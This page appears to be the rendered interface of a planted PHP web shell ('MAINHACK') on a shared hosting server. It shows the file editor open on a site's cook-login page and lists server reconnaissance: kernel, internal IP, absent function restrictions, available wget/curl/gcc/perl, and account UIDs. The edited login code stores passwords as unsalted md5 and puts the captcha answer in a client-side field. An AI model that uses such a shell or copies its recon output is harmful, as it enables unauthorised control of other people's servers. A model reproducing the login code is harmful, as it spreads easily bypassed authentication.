[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: home-cooks-login.php
<?php include('header.php');?> <meta name="google-signin-client_id" content="122332322499-67ptisuqnhip3a9gtlf0vjj0hti7ov5l.apps.googleusercontent.com"> <script src="https://apis.google.com/js/platform.js" async defer></script> <!-- Sign Up --> <div class="sing-up"style=" background: url(../images/home-cook-bg-new.png) no-repeat top right, #03143e; background-size: cover;"> <div class="container"> <div class="sing-up-text"> <div class="sing-up-text-bg"> <h3>Home Cooks <span>Login</span></h3> <h5>Don't have an account? <a href="home-cooks-sign.php" target="_blank" ><b>Sign Up</b></a></h5> </div> <div class="sing-up-social"> <!--<a href="#" target="_blank" title="GOOGLE"><img src="images/google.png" alt="" class="google-log-img"></a>--> <div class="g-signin2" data-onsuccess="onSignIn"></div> <script> function onSignIn(googleUser) { var profile = googleUser.getBasicProfile(); var em=profile.getEmail(); var name=profile.getName(); //alert(em); // $('#id').val(profile.getId()); // $('#name').val(profile.getName()); // $('#img').attr("src", profile.getImageUrl()); // $('#getEmail').val(profile.getEmail()); $.ajax({ type:"POST", url:"ajax_check.php", data:"email_id_cook="+em+"&name="+name, success: function (response){ if(response=='L'){ window.location.href="cooks@/dashboard.php"; }else{ setTimeout(function() { swal({ title: "Thank You ", text: "Your Registration is successful.You are being redirected to profile, please complete the profile information", type: "success" }, function() { window.location.href= "cooks@/profile.php"; }); }, 1000); } } }); } </script> </div> <div class="sing-up-form"> <form method="post" id="form"> <div class="form-left-to-w3l"> <input type="email" placeholder="Email" name="email" id="em" required=""> </div> <div class="form-left-to-w3l"> <input type="password" placeholder="Password" id="pass1" name="password" required=""> </div> <div style="position: relative;"> <img src="images/captcha_background.png" class="captcha-hed"><span class="captcha-text"> <input type="text" name="captcha" style="color:#000 !important" value="<?php echo rand(0,1999); ?>" readonly> </span> </div> <div class="form-left-to-w3l"> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div> <a href="forget-password.php?tab=<?=base64_encode('food_maker')?>&type=<?=base64_encode('maker')?>" class="forget" >Forgot Password or Email?</a> <div class="form-sub-acc"> <div class="form-sub"> <input type="submit" class="" name="sub" id="btn" value="Sign in"> </div> </div> </form> <?php $login=new Oops($db); if(isset($_POST['sub'])){ if($_POST['captcha']!=$_POST['put_captcha']){ echo "<script>alert('Oops !! Captcha is invalid!!')</script>"; }else{ $login->data1=filter_var($_POST['email'],FILTER_SANITIZE_STRING); $login->data2=md5(filter_var($_POST['password'],FILTER_SANITIZE_STRING)); $login->col1="email"; $login->col2="password"; $login->table="food_maker"; $r=$login->login(); if($r){ $num = $r->rowCount(); if($num>0){ while($row= $r->fetch(PDO::FETCH_ASSOC)) //fetching the contents of the row { extract($row); if($row['status']!="ACTIVE"){ echo "<script>sweetAlert('Oops','Your mail id is not verified.Please contact the site admin','error');</script>"; }else{ $uid=session_id(); $_SESSION['Logged'] = 1; $_SESSION['login_user'] = $row['name']; $_SESSION['username'] = $_POST['email']; $_SESSION['login_id'] = $row['maker_id']; $_SESSION['sessionid'] = $uid; $_SESSION['open_close'] = $row['open_close']; header("location:cooks@/dashboard.php"); //exit(); } } }else{ echo "<script>sweetAlert('Oops','Please give correct email/password','error');</script>"; } } } } ?> </div> </div> </div> </div> <style> .abcRioButtonContents { font-family: Roboto,arial,sans-serif; font-size: 17px !important; font-weight: 500; letter-spacing: .21px; margin-left: 6px; margin-right: 6px; vertical-align: top; } </style> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619